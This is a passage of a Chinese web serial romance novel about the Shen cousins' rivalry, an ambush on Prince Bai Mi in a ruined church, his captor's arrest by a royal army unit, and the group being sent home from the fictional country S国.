沈归灵低下头,下巴轻轻抵着她的发顶,感受着怀中人的依赖和信任,他收紧手臂,将她更紧密地圈在怀里,仿佛拥抱着全世界最珍贵的宝物。 * 与顶层套房的短暂安宁截然不同,城市另一端某处隐秘的豪华别墅里,空气压抑得如同暴风雨前的死寂。 沈清予带着一身未散的戾气回到了临时落脚点。 “砰”地一声巨响,厚重的实木门被他狠狠甩上,震得墙上的装饰画都微微颤动。 沈清予粗暴地扯下身上的皮夹克,“以身为棋?艹!狗东西……真他妈会往自己脸上贴金……” 他低声咒骂,手指插进发间,烦躁地耙梳着,他当时为什么没有反驳?! 忽然,沈清予指尖猛地顿住,暴躁的神情凝固在脸上,整个人像是被人按下了暂停键。 奢华宽敞的客厅内,水晶吊灯散发着明亮却冰冷的光晕。 沈兰晞好整以暇地坐在正对门口的沙发上,身上穿着熨帖整齐的黑色西装,手边放着一杯冒着热气的红茶,桌上摆满了各式各样的早点。 “……” 沈清予用力捏了捏眉心,甚至歪着头像研究什么稀有物种般盯着沈兰晞看了半晌,直到确信自己没产生幻觉才扯出一个难以置信的冷笑。 “不是……沈兰晞,都他妈什么时候了?你还有心情吃早餐?” 沈兰晞缓缓抬起头,目光平静无波扫了一眼墙上的挂钟,“七点,这个点不吃早餐做什么?” “我……”沈清予一时语塞,发现自己竟被这荒谬的冷静堵得说不出话。 他面无表情地审视着沈兰晞,几步上前,拉开对面的椅子重重坐下。 木质椅脚与大理石地面摩擦发出刺耳的声音。 “你早就知道了,是不是?” 沈兰晞唇角甚至牵起一丝极淡的、近乎嘲弄的弧度,“看来,你今天受的刺激不小?” 沈清予被他这副事不关己的态度彻底点燃,猛地一拍桌子,震得杯碟叮当响:“沈兰晞!你少在这给我装蒜,你难道不知道沈归灵把衫衫带哪去了吗?你怎么还坐得住?” 面对沈清予的失控,沈兰晞只是微微蹙了下眉,波澜不惊的眼眸如同印着一片深不见底的寒潭,“你不是没坐住吗?结果呢?和我坐在这有区别吗?” “我……” 沈清予仿佛被瞬间扼住了咽喉,气势一滞,但很快,他眼中闪过一抹狐疑,像是突然想通了什么,眼神变得复杂而迟疑,上下打量着沈兰晞。 “不对劲!你什么时候变得这么大度了?” 沈兰晞的指尖几不可察地顿了一下。 沈清予哪里知道,他走过的路沈兰晞早在一年前就走过了,而且他甚至比他更早输得体无完肤。 此刻沈兰晞不是默许,而是别无他法。 因为他不能不顾及姜花衫。 沉默在空气中蔓延,良久,沈兰晞放下手里的银质刀叉,拿起雪白的餐巾,慢条斯理地擦了擦嘴角,每一个动作都保持着极致的优雅与克制。 他抬起眼,目光平静,“我的事不需要你管,倒是你,现在既然知道了,有什么打算?” 这几年,要不是沈清予看不清时局屡次跟他作对,他哪至于步步被动,被沈归灵一次次牵着鼻子走? 沈清予立马听出了他的弦外之音,眼神略微沉吟,沉声道,“什么意思?” 沈兰晞,“你跟了沈归灵一路,难道就没有看出什么?” 沈清予眯了眯眼,“哦~你问的这件事啊?怎么?心高气傲的兰晞哥这是要跟我联盟?” 沈兰晞知道沈清予什么德行,并不受影响,开门见山:“他和白密是什么关系?” 沈清予眸光微动,沈兰晞这么问,一定是查到了什么。 “他们两个啊,这么说起来,我昨天还真看出了一点猫腻。我听见白密叫沈归灵……” 沈清予语气拉长声调,在沈兰晞目光转过来的瞬间,故作不正经笑了笑,“老公~” 沈兰晞,“……” 沈清予捂着肚子,笑得喘不过气,“我想到了!要不然咱们联手把沈归灵留在S国吧?他要当了白密的王妃,麻烦不就解决了?” 沈兰晞慢条斯理拿起桌上的面巾,象征性擦了擦手,“高止,把东西撤了。” 沈清予歪头托腮,语调慵懒,“喂,我还没吃了。” 沈兰晞转身,“拿去喂狗。” 沈清予啧了一声,笑着目送沈兰晞离开。 他是看沈归灵不爽,但不代表他看沈兰晞就爽了。 …… 第827章 谁没有一个好爸爸? 等到沈兰晞的身影彻底消失在走廊尽头,沈清予嘴角那抹刻意维持的嘲讽弧度才缓缓敛去。 他转过头,正准备拿牛奶,动作却猛地顿住。 不是!刚刚还满满一桌的早点竟然离奇消失了? 沈清予惊愕地抬眼,恰好看见高止双手各叠着五六个瓷碟,步履稳健地从餐厅拐出。更离谱的是,他头上还顶了个银色的方盒子。 “……” 有病吧?! 真是有其主必有其仆。 沈清予悬空的手停滞半秒,退而求其次准备拿纸巾擦手,可找了一圈发现纸巾盒也不见了。 他这才反应过来,高止头上顶着的银色方块正是纸巾盒。 沈清予被气笑了,啪地一声拍案而起。 “顾赫。” 话音刚落,一道身影立马闪现,手里捧着两个热鸡蛋:“少爷,我刚刚从高止手里抢过来的,还热着呢。” “……” 沈清予看着一脸忠仆相的顾赫,只觉那句“有其主必有其仆”的回旋镖正中眉心。 “谁说我要吃蛋了?准备一下,我要出去。” 顾赫犹豫着收回手里的热鸡蛋:“少爷,去哪?” 沈清予站起身,目光投向窗外逐渐苏醒的景色,眼神锐利而坚定:“有件事,必须要在离开之前弄清楚。” * 晨光熹微,为恢弘肃穆的长公主行宫镀上了一层浅金色的光晕。然而宫殿深处的私人书房内,气氛却冰冷如寒冬。 白密静坐于沉木书案后,此时他已换上一身休闲居家服,潮湿的发丝还挂着沐浴后的水汽。他指尖无意识摩挲着一枚象牙印章,直到书房门被无声推开。 安缇垂眸走入,步态平稳如常,在距书案三步处驻足,躬身行礼:“殿下。” 白密抬眸,眸光沉敛:“我和姜花衫的行踪是你告诉沈归灵的?” 这里是S国,就算沈家人反应再快也不可能在如此短的时间内找到他。而安缇恰好和沈归灵一同出现,又在沈归灵动手时袖手旁观,白密立即起了疑心。 “是。”安缇眼中没有丝毫惊慌,只有一片沉静的坦然。 空气凝滞片刻。 白密嗤笑一声,指节叩击桌面:“安缇,你不要忘了自己的身份!” 安缇唇角极淡地牵动了一下,一张娃娃脸写满桀骜不驯:“我一直都记得,忘记的是殿下您。” 她平静说道:“亲王冕下曾经说过,他之所以努力站在高处,就是想让小殿下往后能随心所欲做任何他想做的事。虽然冕下已经不在了,但他的遗愿我会继承。” 白密瞳孔猛地一缩,只觉被挑衅怠慢,冷笑道:“你是什么身份,凭什么想当然继承白冕亲王的遗愿?安缇,你未免太不把白家王室放在眼里了。” 她没有身份,只是战火遗孤。 可是王妃曾拉着她的手,让她抚摸隔着一层肚皮的心跳。 亲王还笑着说:“安缇,你有弟弟了。” 就因为这个执念,她才活到现在。 安缇神情微动,微微躬身:“我无意冒犯王室,但我的忠诚绝不转移。殿下若要治罪,我无话可说。” 白密见状,只觉一口闷气打在棉花上。 女王年事已高,亲王陨落,如今王室成员都在为登顶王座做最后一搏,其中他的母亲白拉曼和旁支王室白冽呼声最高。 这些年来,双方都想方设法拉拢安缇,但收效甚微。 安缇为了独善其身,选了替白冕守护路西法一号的差事。几年前,白峥不知用了什么手段获得路西法一号的使用权,也正因此机缘巧合,安缇与沈归灵有了交集。 谁能想到,这无人能驯服的犟种最后竟主动把颈上缰绳递给了沈归灵。 但白密却又不可抑制地欣赏安缇的忠诚。自古以来亲王与亲卫团便是如此,生死羁绊比血亲手足更值得信任。 他揉了揉肿胀的脸颊:“滚滚滚!” 身为沈归灵亲卫团团长,他没有立场去惩罚一个忠心的下属。 安缇略显错愕。她从一开始就不相信白密,因为白密的母亲白拉曼野心勃勃,她不相信白密会舍弃王座选择小殿下。 但现在看来,她的判断似乎有些绝对了。 白密始终遵守与小殿下定下的规则,未曾向母亲透露内情,这本身已是一种叛变的讯号。 安缇微微颔首正要离开,白密忽然想起什么,立即叫住她: “白象接管圣路易斯又是怎么回事?” 安缇凝眉,迟疑地看向白密。 白密语气不善:“想不出理由,就等着你家小殿下被暗杀吧。” 白冕亲王在世时曾任皇室三军统帅,其中白象军团雄狮百万是亲王的绝对亲兵。白冕战死后,三军为亲王降旗,白象军团更是为亲王重改军旗,在原有的金色圣象图腾上方,叠加了一道银色断裂的王冠轮廓。 那王冠从中裂开一道缝隙,却未完全分离,象征统帅虽已陨落,其精神与荣耀永存,同时暗喻白象军团失去最高统帅后“王冠已裂”的沉痛。 二十年过去了,除女王的最高权杖外,无人能真正驯服这支最强军团。但昨晚,他们却在未收到女王调令的情况下,主动接管了一处庄园。这件事无论如何都显得诡异。 白家王室里没有省油的灯,并非所有人都在缅怀白冕。事实上,在见不得光的暗处,无数人在为鲸王陨落而狂欢。 沈归灵的到来,正是那些人最不愿看见的。 安缇神色微动,点点头转身出了书房。 待她离开后,书房重归寂静,只余窗外隐约鸟鸣。 白密揉了揉依旧作痛的脸颊和腹部,再也维持不住形象,疼得龇牙咧嘴。 就在这时,桌上手机屏幕忽然亮起,弹出一封邮件: -【西郊教堂,你一个人来。沈归灵。】 白密动作一顿,眉峰蹙起。 这个沈归灵,真当他没有骨气吗?任他呼之则来挥之则去? 就不去。 …… 第828章 沈清予的怀疑 清晨的西郊教堂更显破败,被焚毁的痕迹在阳光下无所遁形,空气中弥漫着淡淡的焦糊味和潮湿的霉味。周围寂静无声,只有风吹过残破窗棂的呜咽。 这时,有人推开了那扇半塌的大门,光影填满了教堂,灰烬和碎屑在碎烬里舞蹈。 而教堂里,早已有人捷足先登。那道身影背对着大门,站在神像前,微低着头,像极了一个虔诚的信徒。 沈归灵什么时候信起这个了? 白密脚步顿住,挑眉看了看破败的神像,懒懒开口:"喂!沈归灵,先说好,你要是不给我道歉咱们就没什么好说的。" 闻声,光束里的身影慢慢直起腰身,随即缓缓转了过来。 "你要真这么有骨气,就不该出现在这。" 那张暴露在尘埃光柱里的脸带着几分玩世不恭的痞气。 白密脸上的表情瞬间凝固,"沈清予?!怎么是你?!" "你好像很失望?怎么?还真被沈归灵虐出感情来了?"沈清予眼带戏谑,歪着头打量他。 白密不予理会,转身就走。 沈清予借沈归灵的名义邀请他出来,而他就这么轻易上当了,这本身已经传递了很多信息,再留在这里,只会暴露更多。 "来了就走,未免也太不把我放在眼里了。" 沈清予话音刚落,教堂那扇半塌的大门被人从外面"嘭"地一声彻底关死,隔绝了外界的光线。 紧接着,残破的彩色玻璃窗外,以及那些墙壁的裂缝和窟窿后,隐约闪现出数道模糊而肃杀的人影。不过眨眼功夫,这座废墟教堂就成了一个密不透风的囚笼。 白密停下脚步,缓缓转过身,眯眼打量着沈清予:"沈清予,这里是S国,你动我一个试试?" 沈清予慢悠悠地向前走了几步,靴子踩在灰烬和碎玻璃上,发出细微的"嘎吱"声。 他摊了摊手,笑容扩大,"那你可要美梦成真了,我真会试试的。" 说着,沈清予脸上的笑容骤然转冷,他轻轻一挥手。 刹那间,数道黑影从教堂的阴影处、残破的窗框后迅猛扑出,动作快如鬼魅,直取白密! 这些人显然都是经过特殊训练的好手,配合默契,出手狠辣,专攻关节与软肋。 白密反应极快,侧身避过最先袭来的一记肘击,反手扣住对方手腕欲要卸力,然而另一人的鞭腿已至腰侧!他腹部的旧伤被牵扯,一阵剧痛,动作慢了半拍,格挡的手臂被震得发麻。 双拳难敌四手,更何况是在有伤且被围攻的情况下?白密纵然身手不凡,但在五六名高手的围攻下,很快便左支右绌。 一记重拳狠狠砸在他的背心,他闷哼一声向前踉跄,紧接着膝弯处遭到重击,整个人不受控制地"噗通"一声单膝跪倒在地,溅起一片灰烬。 他还想挣扎起身,几双手已经如铁钳般死死按住了他的肩膀和手臂,将他牢牢制住,迫使他以极其屈辱的姿态跪在废墟之中。 骄傲如白密何曾受过这种羞辱,抬头狠狠瞪向沈清予:"沈清予你个窝囊废,你耍这种阴招算什么本事?有种你今天杀了我,要杀不死我,我非扒了你的皮不可!" "啧啧啧~" 沈清予大马金刀地坐在神像前,单手支颐歪头欣赏着白密难得一见的丑态:"都这个时候了还嘴硬?要不这样,你先学着低个头,跟我求个饶?或者叫我一声哥哥,说不定我心情一好,就让你少受点罪。" "呸!就你这猴精样你也配?没有镜子总有尿吧?也不知道撒泡尿照照……"话音未落,白密眸光微缩,神色微变。 "想起来了?"沈清予眯了眯眼,缓缓站起身,走到白密面前蹲下:"不愿意叫我?怎么叫沈归灵就叫得那么顺口?" 他脸上的笑容不变,眼神却冷了下去,一把揪住白密的头发迫使他与自己视线平齐:"尊贵的小白殿下,你倒是说说,沈归灵和我有什么不同啊?" "或者……"沈清予低头,凑近白密的耳侧,"你直接告诉我,你们两个是什么关系?" 白密低垂着眼睑,沉默片刻,用力甩开沈清予的手,扯着嘴角笑了笑,:"老子是gay,老子喜欢沈归灵,怎么?你嫉妒?" "……" 沈清予脸上的戏谑和掌控感瞬间凝固,像是被什么东西狠狠噎了一下,揪着白密头发的手下意识猛地松开,甚至整个人都下意识地往后撤了半步,像是想撇开什么脏东西。 当年姜花衫随手爆料的贴吧让他成了学校攻榜第一人,他的追求者从女人变成了男人,到后来还包括了人妖。这几年,他好不容易把自己的性取向摆正回来,绝对不能重蹈覆辙。 白密看出了沈清予的躲闪,眸光一沉,破罐子破摔:"老子不光叫他哥,什么都叫,你管得着吗?傻逼!" 沈清予终于从最初的震惊中回过神来,他深吸一口气,重新蹲回白密面前,只是这次保持了更远的距离。 "行!狗东西,你还真是……让我刮目相看!不过,你以为这样就能转移注意力?别忘了,你现在的小命还捏在我手里。" 白密此时已经看出了沈清予的意图,低声笑了起来,笑声在空旷的教堂里回荡,带着十分的嘲讽:"沈清予,你除了会用这种下三滥的手段逼供,还会什么?有本事自己去查啊!" 他猛地抬起头,眼神锐利如刀,直直刺向沈清予:"哦,我大发慈悲再提醒你一句,在S国,你刺杀王室的时间只有十五分钟,十五分钟之后就是另外的剧情了。" 仿佛是为了印证他的话语,教堂外陡然传来一阵沉重而整齐的靴履踏地声。 "轰!!!" 一声巨响—— 那扇刚刚被关死的大门,连同部分残破的门框,被一股巨大的力量从外面猛地撞开。 光芒中,只见一队身着笔挺的、带有独特断裂王冠徽章军服的士兵,如同钢铁洪流般迅猛地涌入教堂!他们动作整齐划一,训练有素,瞬间就呈扇形散开,手中冰冷的枪口精准无误地指向了沈清予以及他那些手下。 为首的一名军官,肩章显示着不低的军衔,他目光如鹰隼般扫过全场,声音洪亮而带着不容置疑的威严: "奉女王陛下谕令,接管此地!所有人,立刻放下武器,否则格杀勿论!" 沈清予:"……" …… 第829章 无坚不摧 与此同时。 沈兰晞站在落地窗前,望着楼下渐渐繁忙起来的街景,神色平静,不知在思索什么。 这时,套房的门被轻轻叩响。 "进。" 高止推门而入,脸上带着掩饰不住的雀跃:"少爷,还真被您说中了,沈清予被抓了,还是被王室最强军团亲自逮捕的,罪名是刺杀王室。" 沈兰晞缓缓转过身,目光落在高止身上,淡淡道:"你这么高兴做什么?" "我......很高兴吗?"高止立即绷紧嘴角,"少爷,沈清予总是跟您作对,让他吃点苦头也好。" 沈兰晞几不可察地皱了皱眉:"他再蠢,也姓沈。旁的事就算了,刺杀王室这种罪名不是闹着玩的。" 高止神色微动,默默挺直腰身:"是。" 沈兰晞转身,目光投向窗外:"他去动白密了?" "是。" "这么坐不住,看来他发现的秘密不小。只是这样行事未免太没脑子了,白家人就没有省油的灯,他以为这里还是A国?" 高止默默点头。一般人在沈兰晞面前都会显得没有脑子,他随即好奇道:"那少爷,咱们下一步怎么办?去白王宫求女王放人吗?" 沈兰晞:"你去查查舒沐的底细,任何过往,一点都不能放过。" "舒沐?"高止微愣,一时没反应过来。 沈兰晞抬眸,脑海中不觉闪过白王宫里的那幅大帝肖像,用几乎笃定的口吻说道:"沈归灵绝对和白家有脱不了的干系。我们要想追本溯源,或许可以从他的母亲开始查起。" 高止皱眉,细想了许久,终于跟上沈兰晞的节奏:"少爷,您是说,舒沐有可能是白家王室的人?" 白朱拉的王兄白吉拉昏庸好色,老亲王最喜欢的就是全球旅行,据说全球各地都有他的血脉。沈兰晞这么猜测,虽然大胆,但也不是毫无依据。 高止立即点头。等了一会儿不见沈兰晞有别的吩咐,不禁有些好奇:"少爷,那清予少爷怎么办?" 沈兰晞低头捏了捏眉心:"他,死不了......让他涨涨教训也好。" * 顶层套房内,晨光透过厚重的窗帘缝隙,为房间带来些许朦胧的光亮。 沈归灵睡得很浅。这一个月的高压让他无法快速放下警惕,所以当床头柜上的手机发出极其轻微的震动时,他几乎是瞬间就睁开了眼睛。 那双眼睛里没有丝毫刚醒时的迷茫。 他先是下意识侧头看了一眼身旁依旧熟睡的姜花衫。见她蜷缩在自己怀里,呼吸均匀睡得正沉,沈归灵的眼神不自觉地柔和了一瞬,随即小心翼翼地抽出麻痹的手臂,再为她掖好被角,翻身下床。 整个过程轻缓得如同羽毛拂过。 沈归灵拿起手机,赤脚踩在柔软的地毯上,无声无息地走出卧室,并轻轻带上了门。 走到客厅,他才划开手机屏幕。 是莫然发来的加密信息,内容简短却足够惊心: 【沈清予于西郊教堂逼供白密,反被白象军团控制,现扣押于王室禁卫军驻地。罪名:涉嫌刺杀王室成员。】 沈归灵看着这行字,脸上没有任何意外的表情。 从沈清予找上门那刻,他就猜到这家伙一定察觉到了什么。 沈归灵慢步走到落地窗前,指尖在冰冷的玻璃上轻轻敲击着。 沈年已经出逃,他的身份应该瞒不了多久了?必须想办法把沈园的事了断,在此期间绝不能留下把柄,否则只怕会被爷爷除名,再也回不去沈园了。 沈归灵凝神思索之际,卧室的门被轻轻推开一条缝。 听见身后传来声响,沈归灵指尖微顿,怔愣片刻立即转过身。见姜花衫揉着惺忪睡眼,半倚在门框上看着他,他没由来地放下警惕,大步上前:"吵到你了?" 姜花衫摇了摇头,抬眸环顾一圈,又将视线落回沈归灵身上:"感觉脑子有点闷闷的,我睡了多久?" 沈归灵看了看时间:"三个小时不到。" 姜花衫捏了捏眉心,微微一愣:"这么久了?都没有人来找我们?" 那会儿她实在有些困,沈归灵让她先睡,说万一沈兰晞或者沈清予找上门算账,他再叫她。 没想到这一觉竟然直接睡过去了。 沈归灵思忖片刻,拉着姜花衫的手将人带到沙发前。他用眼神示意姜花衫先坐,随即拿出手机点开递上前。 "怎么了?" 姜花衫一脸好奇,顺手接过手机,目光扫过后表情微愣。 "沈清予去找白密了?还被活抓了?" 沈归灵点头:"刚刚收到的消息。" 姜花衫下意识皱了皱眉,忽然想到什么,眸光微动,不由抬眸看向沈归灵。 察觉到自己的眼神太过刻意,她立即歪了歪脖子转移目光:"你说,他去找白密做什么?" 沈归灵抬手捏住她的下巴,让她转向自己:"你不是已经都知道了吗?连白密都被你耍得团团转。" "......"姜花衫的眼珠提溜转了一圈,触及沈归灵的眼神,不好意思地笑了笑,"我在S国人生地不熟,他有资源,不用白不用。" 沈归灵毫不在意,煞有介事地点了点头:"所以,你是什么时候知道的?" "我......"姜花衫犹豫片刻,深吸一口气,"上次被抓去白王宫的时候!不过在此之前我就有点怀疑了,你和白密的眼睛真的很像。" 沈归灵听罢,眸底闪过片刻怔忡,没有表态。 姜花衫一下拿不准他在想什么,略带试探地打量他:"你生气了?是觉得我......不坦诚?" 沈归灵微微敛神,上扬的眼锋落在姜花衫脸上时已没了攻击性。 他慢慢松开手,摇了摇头:"我没有生气,我只是觉得你很聪明。虽然有一点失落,但我还是很赞同你的聪明。" 聪明的人会让自己立于不败之地。从前他也很聪明,所以他无坚不摧。 虽然他喜欢姜花衫,但比起让自己存在漏洞,他更希望她能无坚不摧。 …… 第830章 我选眼前人 姜花衫看出沈归灵情绪的变化,在他松手的瞬间,主动拉住沈归灵的手。 "我没有向你坦白,并不是不信任你,而是......我不知道该怎么跟你开启这个话题,因为......" 她语气一顿,忽然不知该如何解释。 总不能告诉沈归灵,她脑子里有个定时炸弹,她知道所有原定剧情,如果泄露太多,剧情将无法控制。 沈归灵看着被主动拉住的手,心怦地跳了一下。 这就是他一直觉得不可理喻又解释不了的事情。 明明他们更亲密的事都做过了,但他还是会因为她每一次的主动靠近而怦然心动。 见沈归灵恍神,姜花衫以为他不信,只得换个解释方式:"这么说吧,我不说并不是不信任你,相反,截止到目前为止我都是很相信你的。我不想打破这种平衡,最主要的是不想你会因为这件事和爷爷有任何不愉快。" "截止到目前为止?你用词什么时候这么精准了?"沈归灵微微皱眉,"你的意思是,你担心谈及我的身份,是怕我以后会做出什么和爷爷生疏的事?" "你为什么会这么想?"沈归灵的目光带着一丝探究,"你应该知道,我不想回去的。" 糟糕!忘记眼前这个是最强大脑的。 姜花衫清咳一声,避开他的目光,小声嘟囔:"你现在是这么想,但......" 但架不住剧情作妖啊。 沈归灵少有地坚持,一把转过她的脸:"但什么,看着我说。" 姜花衫撅着嘴:"但人都是会变的,你父亲可是白冕啊!S国历史上最伟大的亲王,他留下......呜嗯......" 还没等她说完,沈归灵的吻就落了下来。 他一手依旧固定着她的脸颊,另一只手却猛地扣住她的后颈,带着不容置疑的力道,低头狠狠地厮磨。 这个吻来得突然而强势,不同于清晨在门后的安抚和试探。 他直接撬开她的牙关,长驱直入,纠缠着她的舌尖,带着一种近乎惩罚性的力度,却在感受到她瞬间的僵硬后,不自觉地放柔些许,转为更深层次的探索和吮吸。 晨光透过窗帘缝隙,恰好落在两人紧密相贴的身影上。沈归灵躬着身体,姜花衫在他怀中微微后仰,身后的沙发逐渐承受不住亲吻的力度,不断向下凹陷。 不知过了多久,沈归灵才有一丝餍足。他放轻力道,轻轻抵着她的额头,与她鼻尖相触,灼热的呼吸交融。 "他再好却还是错失了我。我这么聪明,当然知道眼前拥有的才是最重要的。" 他一边说,一边贴着姜花衫的耳侧细细亲吻。 "我不会走的,除非你赶我走。" 他垂下头,眼底翻涌着未退的情潮和一丝难以辨明的情绪:"你会赶我走吗?" 姜花衫被他这句话问得心尖发颤。忽然,她想起了清晨在车里看见的那封邮件。此刻、眼下,所有关于剧情、关于未来的担忧都可以暂时放下。 她没有回答,抬起双臂环住他的脖颈,微微用力向下拉,同时仰起头,主动贴上了他的唇。 她一直不觉得自己有爱人的能力,但沈归灵的需要让她觉得,被需要有多珍贵。 这个吻不再是被动的承受。她的舌尖青涩却大胆地探入他的领地,学着他先前的方式,细细描摹着他的唇形,又带着点不服输的挑衅,与他纠缠不休。 沈归灵完全僵住了,或者说,魔怔了。 他甚至忘记了回应,直到姜花衫不满地咬了他一口。 "会不会接吻?" 沈归灵喉间溢出一声愉悦的轻笑,扣在她后颈的手滑落至她的脊背,撩开薄薄的T恤慢慢探入,滚烫的掌心紧贴在她纤细柔韧的腰侧细细摩挲。 "会~" 他低下头,再次吻住她的唇。这一次温柔得近乎虔诚,这一次他只想让她舒服。 姜花衫在他密集的亲吻和撩拨下,意识已经有些涣散。她用力攀着他的肩膀,迎着他灼热得几乎要将人烫伤的目光,断断续续地,脑子忽然又闪过一个念头。 "等等!" 她猛地惊醒,双手蹭地一下抵住沈归灵的下巴:"我们是不是忘记什么了?" 沈归灵对于她这个时候还能分心十分不满:"忘记什么了?" "沈清予啊!"姜花衫几乎是喊了出来。 沈归灵皱了皱眉,掀开皱成一团的衬衣,拉着姜花衫的手环上自己劲瘦的腰身,贴脸吻了吻她的鼻尖:"他不会有事,不用管他。" "可是......"姜花衫还是有些不放心,"在S国刺杀王室可是大罪,搞不好会没命的。" "我可以用生命向你保证,他不会没命的。你再闹我就没命了。" "......" * 白王宫深处的议事厅内,气氛庄重而凝滞。 阳光透过高耸的彩绘玻璃窗,在光洁如镜的大理石地面上投下斑斓的光影。 大厅尽头,高高的王座之上,白朱拉女王端坐着。她发丝银白,不怒自威,手中握着象征至高荣耀的权杖。 左侧首位坐着长公主白拉曼,右侧首位则是S国军部最高指挥白冽。 大殿上气氛异常严肃。 "陛下。" 最前方站着白象军团的至高指挥官巴顿将军。 男人身姿挺拔如松,穿着笔挺的军装,肩章上的将星闪耀,胸前佩戴着诸多勋章。 他面容刚毅,眼神如同鹰隼,即便在女王面前,也带着一股军人特有的肃杀与刚直:"陛下,沈家人行事嚣张,沈清予拒不认罪,还请陛下圣裁。" 闻言,白拉曼和白冽的目光一致投向女王。 昨晚白象军团突然出动,他们还没来得及查明缘由就被女王请进王宫,不想商议的正是昨夜封城一事。 白朱拉神色淡淡:"A国叛国罪闹得沸沸扬扬,如今整个国际时局都在盯着A国。把这些沈家人都赶出去,省得在S国兴风作浪。" 白拉曼微愣,神情微动:"陛下,沈清予对阿密做出这种事,若不严惩,王室威信何在?" 白朱拉手持权杖,缓缓起身,眼神睥睨:"白家王室的威信是要靠自己去争的!争不了,就摘了头上的冠冕。" ...... 第831章 各自交锋 白朱拉女王的谕令很快传达到了执行层面。 次日清晨,S国国际机场的专属停机坪上,气氛肃杀。 一列胸前佩戴着断裂王冠徽章的白象军团士兵整齐列队,如同一道钢铁铸就的围墙,将一架即将飞往A国的私人飞机与外界隔绝开来。 沈兰晞率先从专车中走出,见此情景偷偷拽了拽沈归灵的胳膊。 "你也太神了吧?那个老妖……" 姜花衫因为此前在S国受到的虐待,对白朱拉印象并不好,正要口出狂言,忽然想起昨天已经和沈归灵坦诚布公了,赶紧改口: "那个老女王不仅没有为难我们,竟然还派专机送我们回国。" 她和沈归灵在酒店等了一晚也没等到沈清予被处置的消息,结果今天大清早白象军团直接封锁了酒店,对他们下达了遣返令。 沈归灵目光在为首的将领胸前停留了片刻,又若无其事地移开,低头轻声说道:"现在你可以放心了?下次熟悉的时候不许再提扫兴人的名字。" "……"姜花衫眼皮跳了跳。 昨晚她也就提了三次沈清予,结果沈归灵就跟疯了一样。 就在这时,巴顿将军迈着沉稳的步伐,径直朝他们走来。 "奉女王陛下谕令,护送各位离境。请即刻登机。" 将军依旧保持着军人特有的冷硬姿态,下颌线绷紧,声音洪亮而不带感情。他重复着与对其他人无异的指令,看似一视同仁。 沈归灵脸上没什么表情,淡淡颔首,转身看向姜花衫时下意识想牵手。 不料,姜花衫如惊弓之鸟,蹭地一下弹跳开一米,略带夸张地挠了挠头:"那个,将军,我另外两个哥哥怎么还没来?" "……"沈归灵看着落空的掌心,指尖轻轻弹了弹,若无其事地收回手。 巴顿先是看了沈归灵一眼,见他眼神依旧温温柔柔落在少女脸上,立马会意。 "两位沈少爷正在过来的路上,两位可以去飞机上等。" "你先上去,我在这等他们。"沈归灵早已察觉到了巴顿对他的一丝不同,但他并未表现出什么,目光依旧只停留在姜花衫身上。 姜花衫想着出门在外,能避嫌还是得避,一本正经点了点头:"行。" 说着,毫不留恋地上了飞机。 姜花衫登机后不久,另一辆黑色专车平稳地驶入停机坪,在距离沈归灵和巴顿将军不远处停下。 车门打开,沈兰晞率先弯腰下车。 他依旧穿着剪裁完美的西装,一丝不苟,仿佛并非是被驱逐,而是来参加一场高级会议。 沈兰晞站直身体,目光平静地扫过全场,视线在沈归灵脸上停留片刻,又若无其事地移开。 沈归灵自然知道他在找谁,眼眉温和地主动打招呼:"兰晞哥,早。" 沈兰晞哪能听不出沈归灵藏在无害表皮下的挑衅,挑着眼睑回应:"气色不错,看来S国的水土很养人?" 一次次险象环生,又一次次有惊无险,每一次历险都如有神助,怎么不算呢? 沈归灵心照不宣:"不是水土养人,是人养人。" 眼看着沈兰晞的嘴角近乎凝固,沈归灵视而不见,笑得温雅:"兰晞哥看上去气色就不怎么好了?都有黑眼圈了,昨晚没睡好?" "噗!" 高止戴着酷炫墨镜,在之前,他已经在心里打定主意要在这群外国人面前保住A国军人的形象,不想因为沈归灵一句话直接破功。 少爷不是没睡好,是整宿没睡。 一会儿盯着墙上的挂钟,一会儿盯着酒店的谍报,人都要精分了,哪还有心思睡觉? 沈兰晞正要开口,冷不丁感觉耳后冒风,沉默片刻,转过头似笑非笑地看着高止。 高止立马意识到自己闯大祸了,赶紧立正站好。 沈兰晞的目光看似风平浪静,实则已经有平地起海啸的风险,这让高止意识到自己必须做些什么。 于是,他几乎是不假思索地摘下了自己的墨镜,双手奉上:"少爷,遮黑眼圈。" 沈兰晞的额角不可抑制地抽动。 他现在合理怀疑,高止就是爷爷派来他身边的劫难。 沈归灵笑了笑,一副抱怨的口气:"真羡慕兰晞哥身边能有个这么知暖知热的。我就没这个福气了,遇上个没良心的~" 豁! 攻击力好强。 高止默默为自己捏了一把汗,一边颤抖着双手一边给沈兰晞使眼色。 冷静! 别上当! 沈归灵这是在挑拨离间。 沈兰晞面无表情,也不知是不是读懂了他如同癫痫的暗示,最终什么都没说,转身向飞机舱门走去。 "吁~" 高止长舒了一口气,飞快戴上墨镜,狠狠瞪了沈归灵一眼,屁颠屁颠跟了上去。 也就在这时,停机坪的入口处再次传来动静。 这一次,气氛明显不同。一辆军用车在一小队军团士兵的押送下,径直开了过来。 沈兰晞脚步一顿,垂着眼睑看去。 车辆稳稳停住,车门打开,首先下来两名面容冷峻的士兵,随后,沈清予才略显狼狈地弯腰钻出车厢。 毕竟是''暗杀''王室的罪犯,沈清予的出场远不如沈兰晞和沈归灵这般"体面"。他双手被特制锁链铐着,身上的衣服还是昨天那套皮夹克,嘴角和颧骨处的淤青在清晨的阳光下更为明显。 然而,这一切狼狈似乎并未能折损他半分气焰。 沈清予落地后先活动了一下被束缚的肩颈,才慢悠悠地抬起眼皮,目光依次扫过沈兰晞和沈归灵,浑不在意地笑了笑。 "哟~好大阵仗~人都到齐了?" 沈兰晞皱了皱眉,只当没看见,转过身直接上了舷梯。 沈归灵好点,主动上前给了个笑脸:"出场方式挺特别的,蠢货。" 说着,转头往舱门走去。 "狗东西。"沈清予冷笑着对着巴顿晃了晃手里的镣铐,"现在可以解开了?" 巴顿朝身边的士兵使了个眼色,士兵会意,立马上前打开了锁链。 沈清予面无表情地捏了捏腕部关节,二话不说,大步紧跟。 沈归灵前脚刚进机舱,他后脚就追了上来。 两人一前一后,中间隔着不足三十公分的距离。 沈清予微微侧头,用只有他们两人才能听到的音量小声道:"沈归灵,你弟弟差点把我打得内出血,你说这笔账我该跟谁算?" ...... 第832章 被偏爱的戏精 沈归灵的脚步几不可察地顿了一瞬,但他反应极快,甚至连头都没有回,依旧保持着向前走的姿态。 沈清予早就料到了沈归灵的反应,笑了笑:"怎么,不回答是心虚了?" 